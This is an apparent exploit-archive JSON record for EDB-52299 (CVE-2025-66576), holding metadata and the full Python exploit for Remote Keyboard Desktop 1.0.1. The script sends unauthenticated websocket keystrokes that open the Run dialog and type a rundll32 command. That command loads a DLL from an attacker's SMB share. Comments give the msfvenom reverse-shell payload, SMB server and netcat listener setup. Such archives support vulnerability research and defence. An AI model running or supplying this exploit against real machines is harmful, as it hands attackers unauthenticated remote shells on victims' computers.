{"exploit":{"id":"EDB-52299","name":"Remote Keyboard Desktop 1.0.1 - Remote Code Execution (RCE)","description":"Remote Keyboard Desktop 1.0.1 - Remote Code Execution (RCE)","cves":["CVE-2025-66576"],"author":"Chokri Hammedi","published":"2025-05-21","platform":"windows","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52299","path":"exploits/windows/remote/52299.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52299.py","vulnerabilities":[{"id":"CVE-2025-66576","state":"PUBLISHED","title":"Remote Keyboard Desktop 1.0.1 - Remote Code Execution (RCE)","titleSource":"CVE Program","description":"Remote Keyboard Desktop 1.0.1 enables remote attackers to execute system commands via the rundll32.exe exported function export, allowing unauthenticated code execution.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2025-66576","cvss":{"version":"4.0","baseScore":8.9,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-66576"},"updatedAt":"2026-07-14T22:26:03.306Z","retrievedAt":"2026-11-26T17:37:45.158Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52299.png?v=2","url":"https://exploitbin.com/exploits/EDB-52299","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52299/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52299/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python3\n# Exploit Title: Remote Keyboard Desktop 1.0.1 - Remote Code Execution (RCE)\n# Date: 05/17/2025\n# Exploit Author: Chokri Hammedi\n# Vendor Homepage: https://remotecontrolio.web.app/\n# Software Link: https://apps.microsoft.com/detail/9n0jw8v5sc9m?hl=neutral&gl=US&ocid=pdpshare\n# Version: 1.0.1\n# Tested on: Windows 10 Pro Build 19045\n\n# Start Remote Keyboard Desktop on your windows\n# Preparing:\n#\n# 1. Generating payload (dll/exe):\n# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.8.105 LPORT=8080 -f dll > shell.dll\n# 2. Start smb server: impacket-smbserver SHARE . -smb2support\n# 3. nc -lnvp 8080\n# 4. python exploit.py\n#####\n\n\nimport websocket\nimport json\nimport time\n\ntarget = \"192.168.8.105\"\nlhost = \"192.168.8.101\"\nWS_URL = f\"ws://{target}:8080/\"\npayload = \"shell2.dll\" # payload dll/exe filename\ndebug = False\n\nHEADER_LIST = [\n    \"User-Agent: Dart/3.7 (dart:io)\",\n    f\"Origin: http://{target}:8080\",\n    \"Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits\"\n]\n\n#SMB_PATH = f\"cmd /c \\\\\\\\{lhost}\\\\SHARE\\\\{payload}\" # exe based\n\nSMB_PATH = f\"rundll32.exe \\\\\\\\{lhost}\\\\SHARE\\\\{payload},ExportedFunc\" # dll\nbased\n\nspecial_mapping = {\n    ' ': (\"SPACE\", False),\n    '/': (\"NUMPAD_DIVIDE\", False),\n    '\\\\': (\"\\\\\", False),\n    '.': (\"NUMPAD_DECIMAL\", False),\n    ',': (\",\", False),\n}\n\ndef send_key_event(ws, key, key_down):\n    event = {\"command\": \"keyboard_event\", \"data\": {\"key\": key, \"keyDown\":\nkey_down, \"capsLock\": False}}\n    ws.send(json.dumps(event))\n\ndef send_text(ws, text, delay=0.05):\n    shift_pressed = False\n    for ch in text:\n        if ch in special_mapping:\n            key_name, need_shift = special_mapping[ch]\n        elif ch.isalpha():\n            need_shift = ch.isupper()\n            key_name = ch.upper()\n        elif ch.isdigit():\n            key_name = ch\n            need_shift = False\n        else:\n            raise ValueError(f\"No key mapping for character: {ch!r}\")\n\n        if need_shift and not shift_pressed:\n            send_key_event(ws, \"SHIFT\", True)\n            shift_pressed = True\n        elif not need_shift and shift_pressed:\n            send_key_event(ws, \"SHIFT\", False)\n            shift_pressed = False\n\n        send_key_event(ws, key_name, True)\n        send_key_event(ws, key_name, False)\n        time.sleep(delay)\n\n    if shift_pressed:\n        send_key_event(ws, \"SHIFT\", False)\n\ndef send_key(ws, keys, delay=0.05):\n    for key in keys:\n        send_key_event(ws, key, True)\n    time.sleep(delay)\n    for key in reversed(keys):\n        send_key_event(ws, key, False)\n\ndef on_open(ws):\n    print (\"Let's start!\")\n\n    send_key(ws, [\"LEFT_WINDOWS\", \"R\"])\n    time.sleep(0.5)\n\n    send_text(ws, SMB_PATH)\n    send_key(ws, [\"RETURN\"])\n    print (\"Executing...\")\n    time.sleep(1.2)\n\n    print(\"Check your listener!\")\n    if debug:\n\n            print(\"\\033[42;37mExploit by blue0x1 - github.com/blue0x1\\033[0m\n\")\n\n    ws.close()\n\ndef on_message(ws, message):\n    if debug:\n        print(\"[=] Received:\", message)\n\ndef on_error(ws, error):\n    if debug:\n        print(\"[!] Error:\", error)\n\ndef on_close(ws, code, reason):\n    if debug:\n        print(f\"[x] Closed: {code} - {reason}\")\n\nif __name__ == \"__main__\":\n    websocket.enableTrace(debug)\n    ws = websocket.WebSocketApp(\n        WS_URL,\n        header=HEADER_LIST,\n        on_open=on_open,\n        on_message=on_message,\n        on_error=on_error,\n        on_close=on_close\n    )\n\n    ws.run_forever()","sha256":"365d45ec9a4bdb33520018bda436b9710b35c55f3ed696312406fb698198c348","bytes":3452,"fetchedAt":"2026-11-27T06:06:43.270Z","encoding":"utf-8 (display only; download retains original bytes)"}